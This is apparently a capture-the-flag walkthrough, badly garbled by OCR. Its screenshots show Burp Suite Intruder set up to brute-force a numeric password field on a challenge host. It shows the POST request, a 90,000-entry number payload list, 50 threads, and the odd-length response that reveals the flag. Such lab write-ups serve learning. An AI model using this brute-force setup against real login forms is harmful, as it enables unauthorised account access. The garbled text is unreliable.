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E’ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - X
Burp Infruder Repeater Window Help
Target [ proxy. | sper | scamner | niruger | Repeater | seauencer | Decoser | comparer | extender | profectoptons | useroptons [ s |
| Fiter: Hiding CSS, image and general binary content
Eﬂnﬁt ‘Hdhnd ‘URL ‘Pﬁn-nns Edited ‘Sﬂns ‘Langh ‘HliEly[:z Extension | Title | Comment |ssL | Cookies Time Listener port
46 hitps:ifapi shodan.io GET Idnsiresolve ?key=MMT2AkzHXIHPCBP. & =] 503 921 Json g q: o’ @ g’ E .ﬁ ' 151212 15 8080 ?
47 NMpUI114.67 246.176:12584 GET Havicon.ico 8] o ane 47 HTIL ico 151211215 8080
48 nhitpsufapishodan.io GET Iansiresoive Zkey=MHT2AkZHXAHPCEP. @ g s, 928 Json @ 151211215 8080
49 https:#fapi.shodan.io GET rdnsiresolve Zkey=MHM72AkzHXAHPCBP. @ g s, 931 Json @ 15:121215 .. 8080
50 telemetry.mozil.  POST 8] o 200 2% text @ 15121615 8030
51 htips#mozila.cloudflare-dns.com  POST  fdns-query @ (=] @ 15121815 .. 8080
52 htips/mezila.cloudfiare-dns.com  POST  fdns—query @ (=] @ 151122415 ... 8080
53 Nttpiii114.67 246.176:12584 POST yes @ o 200 1404 HTML & -e%0dmea0g0 O 11467246176 15:122515... 8080
54 hitpssapishodan.io GET Idns/resolve Tkey=MHT2AkzHXdHpCEP. @ [SI-) s Json @ 10a2sai142 15122615, 8030
85 hitpsuapishodan.io GET Idns/resolve Tkey=MHT2AkzHXdHpCEP. @ [SI-) 931 Json @ 10a2saiez 15122815, 8030
56 hitpsifapishodan.io GET Idns/resolve Tkey=MMT2AkzHXdHRCEP. @ [SI] L Json @ 10azsaiez 15122515, 8080
57 loudfiare-dns.com  POST  fdns-query @ (8] @ 104.16.248.248 151231 15... 8080 v
(i < |
E Params | Hes seng to Spider
'BOST /7yes HTTE/L| Doanaclive scan S
522:;;13;?’&;2?;%% E7:68.0) Gecho/22100k0L Firsten/25.0 )
Accept: text/html on/iml;q=0.%, inage/webp, */* ;q=0. &
Accept-Language: 2 Sendto Repeater CirisR  [7q=0.5,en—U5;q=0.3,en;q=0.2
Gommometangen. 1] SemtSeencer
Origin: heep://114 Send o Comparer
Connection: clase | SendloDecoder
e 558w onss s
Requast in browser >
pud=l23ise Engagement tools >
Copy URL
‘Copy as curl command
Copy to file
Save fem
Convert selection >
cut Ciriex S
E] [ Copy ctrkC ‘ ﬂmm;
Paste Ciris

Proxy history help.
02.1 Proxy

HTTP history$® 218 % WEINE(E 2, Kikinstuder.
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E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn
Burp Intruder Repester Window Help

Targst | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extendsr Pm)emnmmsIusarnmmns Alerts

|

Targst | Postions | Payiads | options

(@) Payload Positions

Configure the positions where payloads will be inserted into the base request The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Start attack.

Aftack type: [ Sniper

POST /2yes HITP/L.L

Host: 114.€7.248.176:12584

User-Agent: Mozilla/E.0 (Windows NT 10.0; Winéd; xé4; rv:85.0) Geeko/20100101 Firefox/85.0
hceepe: texc/html,applicacion/xhtml+inl,application/xnl;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0_7, zh-HK; q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-wwu-form-urlencoded

Content-Lengch: 10

Origin: hrep://1l4.67.246.176:12684

Connsction: close

Referer: hep://ll4.57.246.176:12884/7yes

Upgrade-Insecurs-Requests: 1

pua=§ 1534568

02.2 Positions

# B Clear all, Andi&#pwd.

] Add§

Clear §
Aute §
Refresh

Target | Postions | Payiads | Options

7| Payload Sets
You can define one or mors payload sets. The number of payload Sets depends on the attack type defined in the Postions tab. Various payload types are available for sach payload set, and each payload type can be customized in different ways.
Payload set. | 1 ¥  Payiad count: 90,000

Payload type: | Simple list |* Request count: 80,000

(@) Payload Options [Simple list]

This. payload type lsts you configure a simple list of strings that ars used as payloads.

N
»>
—— | 10005
Clear 10008
10007 v
Add £
[ Add from list

02.3 Payload

Load A pHISA B & A 7~ 8 . AR MR A5 S 15 M BR 1 00000-09999, M 100007F 4544

s

Start attack

Target | Postions | Payloads | Options

Request Headers

EIE)

These settings control whether Intruder updates the configured request headers during attacks.

(@ Update Content-Length header
@ set Connection: close

(2] Request Engine
5| These settings control the engine used for making HTTP requests when performing altacks.
Numper of threads: 50
Number of retries on network failure: 3
Pause befare retry (miliseconds): 2000
‘Throttie: (miliseconds): @ Fixed 0
Variable: start | 0 step |30000
Start time: @ Immediately
On 1 minutes
© Paused

02.4 Options

LIRS0, T LA HRIG A 8] o
WEFZ JFH AT LA it start attackIT 46 5B !
03—%flag

Start attack




E Intruder attack 3 — O X
Attack Save Columns

JM T Target T Positions T Payloads T Options ]

Fitter: Showing all tems ‘ ?
Request | Payload | Status | Error | Timeout | Length j.| Comment

2489 12463 200 O O 332 [a]
0 200 o O 1404 ™
1 10000 200 @] 0O 1404

3 10002 200 @] 0O 1404

2 10001 200 @] 0O 1404

7 10008 200 @] 0O 1404

3 10007 200 @] 0O 1404

6 10005 200 @] 0O 1404

g 10004 200 @] 0O 1404

4 10003 200 @] 0O 1404

53 10052 200 @] 0O 1404 )
51 10050 200 O O 1404 k4
a7sdofs0000 ] ik Foram|

& FlLength 5 KA R —FfPayload: 12468, EMAZEATEA, BFflag.
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IBRINSNEESES, REUESRIRERE,

flag{aefd81c7f99daf9e473943940f8876¢8}
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